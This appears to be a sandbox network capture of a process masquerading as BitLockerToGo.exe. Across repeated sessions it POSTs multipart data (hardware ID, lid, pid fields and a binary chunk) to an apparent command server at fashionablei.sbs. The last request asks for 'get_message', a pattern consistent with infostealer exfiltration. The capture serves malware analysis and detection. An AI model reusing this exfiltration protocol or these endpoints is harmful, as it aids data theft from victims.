ozY1kbw2rLOra6QbA0tUfP7REqbDIJGU6AL7XlMqi1GyD4BQIGe5zlKPQGsbBmTousEHq6It7G1xvktCBwPOXKJGecm8w4HW6kPYGxceZOyujReroi28bXG+6x4PBtt4kksQtb1GreurFpwTQ1t0ZKupEpKiLfBUdb6OW3JT9mXrVhmpoEeZ1qZPkGdPX2Aou4XyUhttgTwMeuNKS0rDJb6vgCj8c/3PlvfcG1MDcDBOYdbuh2yF9Bzm2lsqHq5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49768	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:19 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12866 Host: fashionablei.sbs
2024-10-26 14:02:19 UTC	12866	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"408C1E713E7F4D48600F1E7B1AEA093A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--testt
2024-10-26 14:02:20 UTC	1004	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5gvp9ep6hcv6mntu9u123326kp; expires=Wed, 19 Feb 2025 07:48:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7YTjCcrOiAoZGDblpuJKPb6ud3k547HP4dHIIFtEaQOt0b7QKMP8ZkUPyCLmk7ka8WM7kTiu4Wh6IDfdRikXjJVsl2xDknmK3ZaYYMLrgcBZAXBRP0GPKVuaPjzo5lj9QjkV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbc1ff954671-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1962&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13806&delivery_rate=1425196&cwnd=249&unsent_bytes=0&cid=8a5b2ee6275fe358&ts=543&x=0"
2024-10-26 14:02:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:02:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49778	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:21 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15112 Host: fashionablei.sbs
2024-10-26 14:02:21 UTC	15112	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"408C1E713E7F4D48600F1E7B1AEA093A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--testt
2024-10-26 14:02:23 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fueo87rgcg7el2hil0ijv2kh33; expires=Wed, 19 Feb 2025 07:49:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NKr7NR%2FPMrhFaVOup5AP3FsGoW0OAwzRwVasPtIsY6yAYO9vTXWYEjYY0HEkQs3Hv5HYcjxZdSh23dRchojT2%2B5eDPaa4vIvEe9jKWvAtRGKJslHszIm3M41TCa532xjs0mz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbca7d234786-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1273&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2841&recv_bytes=16052&delivery_rate=2074498&cwnd=234&unsent_bytes=0&cid=05095a8907019cdf&ts=2246&x=0"
2024-10-26 14:02:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:02:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49796	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:24 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19970 Host: fashionablei.sbs
2024-10-26 14:02:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"408C1E713E7F4D48600F1E7B1AEA093A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--testt
2024-10-26 14:02:24 UTC	4639	OUT	Data Raw: bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b Data Ascii: 2+?2+?2+?o?Mp5
2024-10-26 14:02:25 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u6oov7o83m1k0va8147fte78co; expires=Wed, 19 Feb 2025 07:49:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PK4%2FXoEA5XCbXV0Bo8tP%2FhovYN1uMDpz%2FE6Gv2NBrjKt9MMs%2Fm2wMQ0VF8LEVm6HrSXbvU8ecEtQF8pcUWOg4w2g3%2BRNRRWXfdqfyXP9U37a52Iyl95Td%2B6dLUXF%2BpNUCuS9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbdedd8e3ab0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2839&recv_bytes=20932&delivery_rate=2200607&cwnd=251&unsent_bytes=0&cid=f48f396ad9502a6d&ts=743&x=0"
2024-10-26 14:02:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:02:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49807	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:26 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3809 Host: fashionablei.sbs
2024-10-26 14:02:26 UTC	3809	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"408C1E713E7F4D48600F1E7B1AEA093A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--testt
2024-10-26 14:02:26 UTC	1013	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3n0hriaks512lmad4nahkpj9aq; expires=Wed, 19 Feb 2025 07:49:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7EoUFaRKUk6Fiq33tK965YQHVuZ8G5XYAPoN5OCwSVIWscbr%2FtGpw0TKG%2FIWnUMFqDTEywNjcm%2BftLUYluEG7sKeO1JA0faPrfBztUIakhVK%2FvwWg4QFV8Acv8SWbQzRrs%2Bi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbe989cb6c50-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1160&sent=5&recv=11&lost=0&retrans=0&sent_bytes=2839&recv_bytes=4726&delivery_rate=2531468&cwnd=238&unsent_bytes=0&cid=5a988ae2d894fc90&ts=529&x=0"
2024-10-26 14:02:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:02:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49816	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:27 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3825 Host: fashionablei.sbs
2024-10-26 14:02:27 UTC	3825	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"408C1E713E7F4D48600F1E7B1AEA093A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--testt
2024-10-26 14:02:27 UTC	1005	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3fcminop8u674629orgl53qrhb; expires=Wed, 19 Feb 2025 07:49:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zv9mBpIHJAXyGtkHkzmp3FphyGQIp4HIgE9h6L7e%2BqfQHFkh1AT9zxOWbBL8DAX0GKokT3GF5qNrqEXdB9M5hsbUoavH7u7uimGAacsliDFXZ2dQBTZ2LhCqX447w8pBtS8p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbf0fae56c1a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1239&sent=6&recv=11&lost=0&retrans=0&sent_bytes=2841&recv_bytes=4742&delivery_rate=2264268&cwnd=251&unsent_bytes=0&cid=88d4f44f0991f650&ts=345&x=0"
2024-10-26 14:02:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:02:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49822	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:28 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1254 Host: fashionablei.sbs
2024-10-26 14:02:28 UTC	1254	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"408C1E713E7F4D48600F1E7B1AEA093A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--testt
2024-10-26 14:02:28 UTC	1007	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6ufs64dsargs18ku8ppr5fmlan; expires=Wed, 19 Feb 2025 07:49:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qDEEl6lDm9iBHp9U2tCJV%2FbaJi8T9ojes%2BnrJkAPQzQfOFPp3K4lY2tlzQu1LcBQxK9qY%2B4hvSymFi2O5kDbchUqrIEsrtlYx3VqUvJ3MmhbDsNGmnCMj9c5XsjcIWs4vQ73"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbf7f8a86bd4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=974&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2171&delivery_rate=2994829&cwnd=251&unsent_bytes=0&cid=2b0019d0a36ceb23&ts=521&x=0"
2024-10-26 14:02:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:02:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49830	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:29 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1132 Host: fashionablei.sbs
2024-10-26 14:02:29 UTC	1132	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"408C1E713E7F4D48600F1E7B1AEA093A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--testt
2024-10-26 14:02:30 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m4lfgcvaaclu7ch9qrpuno5ukl; expires=Wed, 19 Feb 2025 07:49:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2jWzajDzjEnKcstPQo2UJKCXMx7aM%2BYV8O4vGs4cdQCDvdkNF5lotmXU1Aby90AVUjJJDnykNeXhT2xv19V%2BtLJ79g53LD9oP9L2MICzst1jMDstLCKwWxFBnOag5GYnM%2BSl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8afbff7ba145ef-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2049&delivery_rate=1688629&cwnd=246&unsent_bytes=0&cid=611723c2c78d697b&ts=540&x=0"
2024-10-26 14:02:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:02:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49839	188.114.97.3	443	5232	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:02:31 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 121 Host: fashionablei.sbs
2024-10-26 14:02:31 UTC	121	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 74 4c 59 4d 65 35 2d 2d 74 65 73 74 74 65 73 74 74 65 73 74 26 6a 3d 35 63 39 62 38 36 37 34 61 36 33 30 64 39 31 30 31 62 34 36 37 33 33 61 61 33 37 66 31 35 65 63 26 68 77 69 64 3d 34 30 38 43 31 45 37 31 33 45 37 46 34 44 34 38 36 30 30 46 31 45 37 42 31 41 45 41 30 39 33 41 Data Ascii: act=get_message&ver=4.0&lid=tLYMe5--testtesttest&j=5c9b8674a630d9101b46733aa37f15ec&hwid=408C1E713E7F4D48600F1E7B1AEA093A
